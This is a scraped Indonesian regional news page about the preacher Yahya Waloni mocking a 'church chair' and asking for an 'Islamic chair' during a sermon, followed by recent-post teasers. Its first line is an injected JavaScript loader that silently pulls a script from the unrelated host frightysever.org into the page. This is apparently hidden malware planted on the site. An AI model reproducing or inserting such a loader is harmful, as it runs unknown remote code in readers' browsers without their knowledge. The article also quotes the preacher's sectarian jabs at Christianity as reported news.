(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Viral

Singgung Kristen, Yahya Waloni Minta Ganti ‘Kursi Islam’


KANALKALIMANTAN.COM – Pendakwah Yahya Waloni kembali membuat heboh. Pernyataannya kembali menyudutkan ajaran agama kristiani.

Dilansir dari Terkini.id, dalam video viral yang beredar, terlihat Yahya Waloni tengah berada di podium dan memprotes tempat duduknya di tengah ceramah berlangsung.

Selain heboh karena mengganti kursi dengan ‘kursi Islam’, Yahya Waloni juga menyebut kursi Gereja itu kursi pemalas.

Hal itu terekam dalam video berjudul “Pesan Penting.!! Ustadz Yahya Waloni Menjelang Ramadhan 2021” yang dimuat di akun youtube YouTube Zhinyal Islam itu, Yahya Waloni mendadak meminta ke panitia untuk mengganti kursinya.

 

Baca juga: Selewengkan Dana Desa Ratusan Juta, Aparatur Desa di HSU Ditangkap

Alasan pria mualaf itu meminta ganti kursi rupanya cukup aneh. Dia menyebut kursi yang dia duduki sebagai kursi gereja dan meminta kursi yang lain.

“Yesus tak ada hubungannya dengan Nabi Isa. Kita tidak boleh ganggu, itu Tuhannya Kristen, tapi Isa adalah Nabi kita,” ujar Yahya Waloni sebelum melayangkan komplain kepada panitia acara.

“Eh, supaya cepat saya ceramah. Meja ini, kayu jati meja ini. Mahal ini. Ini kayu jati. Angkat ini, kursi gereja ini. Ganti kursi Islam,” kata dia lagi.

Saat kursi tersebut diganti, Yahya Waloni pun dalam keadaan berdiri lantas bertanya kepada hadirin jamaah yang kebanyakan ibu-ibu.

Baca juga: Selama Ramadhan, BPOM HSU Lakukan Intesifikasi Keamanan Pangan dan Takjil

“Bu, Bu, mau ceramah keras atau lembek? Panjang atau pendek?” tanya Yahya Waloni.
Para jamaah yang hadir lantas menjawab bahwa mereka suka ceramah yang keras serta panjang.

“Ah, keras, panjang lagi. Itulah orang Islam,” ucap Yahya Waloni.

Usai kursi diganti, Yahya Waloni kemudian kembali duduk. Kursi yang baru tersebut diganti dengan full kayu, sedangkan sebelumnya adalah kursi perpaduan antara busa dan kayu.

“Nah, ini baru kursi ceramah. Yang tadi itu kursi pemalas. Itu tadi kursi mau nikah. Itu di gereja cocok, di masjid gak boleh,” ujarnya lagi.

“Saya sudah lama pakai itu, malas,” pungkasnya. (suara.com)

Editor : kk


Al Ghifari

Recent Posts

Memberdayakan Gen Z Lewat Literasi Digital, Skill Development, Akademi, dan Hiburan

KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More

14 jam ago

Generasi Happy 2024 di Murdjani, Yura Yunita Ajak Gen Z Gali Potensi di Dunia Digital

KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More

14 jam ago

Perkuat Tata Kelola Perusahaan, PLN Tingkatkan Sinergi dengan Dua Kejati di Kalimantan

KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

15 jam ago

Begini Hitung-hitungan Pajak Baru Kendaraan Bermotor 2025

KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More

16 jam ago

Sinergi Pelayanan Antar Proses Bisnis, PLN UIP3B Kalimantan Gelar Customer Gathering 2024

KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

18 jam ago

Kemajuan Pembangunan Kabupaten Banjar di Segala Bidang

KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More

18 jam ago

This website uses cookies.